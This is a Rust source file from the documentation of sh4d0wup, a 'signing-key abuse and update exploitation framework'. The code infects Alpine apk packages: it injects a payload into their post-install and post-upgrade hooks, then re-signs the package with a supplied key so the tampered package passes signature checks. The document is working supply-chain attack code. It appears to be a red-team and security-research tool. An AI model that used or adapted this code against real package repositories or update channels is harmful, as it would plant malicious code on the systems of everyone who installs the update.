sh4d0wup 0.11.0

Signing-key abuse and update exploitation framework
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111

use crate::errors::*;
use crate::plot::SigningKeys;
use crate::shell;
use crate::sign;
use crate::utils;
use openssl::hash::MessageDigest;
use serde::{Deserialize, Serialize};
use std::io;
use std::io::BufReader;
use std::io::prelude::*;
use tar::Archive;

pub fn patch_signature_buf(
    infect: &Infect,
    signing_keys: &SigningKeys,
    signature_buf: &[u8],
    pkg: &[u8],
) -> Result<Vec<u8>> {
    let key = signing_keys
        .get(&infect.signing_key)
        .with_context(|| anyhow!("Invalid signing key reference: {:?}", infect.signing_key))?
        .openssl()?;

    let signature = sign::openssl::sign(key, pkg, MessageDigest::sha1())?;
    let key_algo_id = key.key_algo_id().unwrap_or("XXX");

    utils::apk::patch_signature_container(
        signature_buf,
        &signature,
        key_algo_id,
        &infect.signing_key_name,
    )
}

pub fn patch_metadata_buf(infect: &Infect, buf: &[u8]) -> Result<Vec<u8>> {
    let mut out = Vec::new();
    let mut builder = tar::Builder::new(&mut out);
    let mut archive = Archive::new(buf);
    for entry in archive.entries()?.raw(true) {
        let mut entry = entry?;
        let mut header = entry.header().clone();
        debug!("Found entry in tar: {:?}", header.path());
        let path = header.path()?;
        let filename = path
            .to_str()
            .with_context(|| anyhow!("Package contains paths with invalid encoding: {:?}", path))?;

        match (&infect.payload, filename) {
            (Some(payload), ".post-install" | ".post-upgrade") => {
                let mut script = String::new();
                entry.read_to_string(&mut script)?;
                debug!("Found existing hook for {:?}: {:?}", filename, script);

                let script = shell::inject_into_script(&script, payload)
                    .context("Failed to inject into package hook")?;

                let buf = script.as_bytes();
                header.set_size(buf.len() as u64);
                header.set_cksum();

                builder.append(&header, &mut &buf[..])?;
            }
            _ => {
                builder.append(&header, &mut entry)?;
            }
        }
    }
    builder.into_inner()?;

    debug!("Stripping the tar termination section (1024 zero bytes)");
    out.truncate(out.len() - 1024);

    Ok(out)
}

#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
pub struct Infect {
    pub signing_key: String,
    pub signing_key_name: String,
    pub payload: Option<String>,
}

pub fn infect<W: Write>(
    infect: &Infect,
    signing_keys: &SigningKeys,
    pkg: &[u8],
    out: &mut W,
) -> Result<()> {
    let mut reader = BufReader::new(pkg);

    debug!("Reading compressed signature buffer...");
    let signature_buf = utils::apk::read_gzip_to_end(&mut reader)?;

    let mut pkg = Vec::new();
    debug!("Reading compressed metadata buffer...");
    let metadata_buf = utils::apk::read_gzip_to_end(&mut reader)?;
    let metadata_buf = patch_metadata_buf(infect, &metadata_buf)?;
    utils::apk::write_compressed(&mut &metadata_buf[..], &mut pkg)?;

    debug!("Patching signature...");
    let signature_buf = patch_signature_buf(infect, signing_keys, &signature_buf, &pkg)?;

    debug!("Streaming remaining package contents...");
    let n = io::copy(&mut reader, &mut pkg)?;
    debug!("Forwarded {} bytes", n);

    utils::apk::write_compressed(&mut &signature_buf[..], out)?;
    io::copy(&mut &pkg[..], out)?;

    Ok(())
}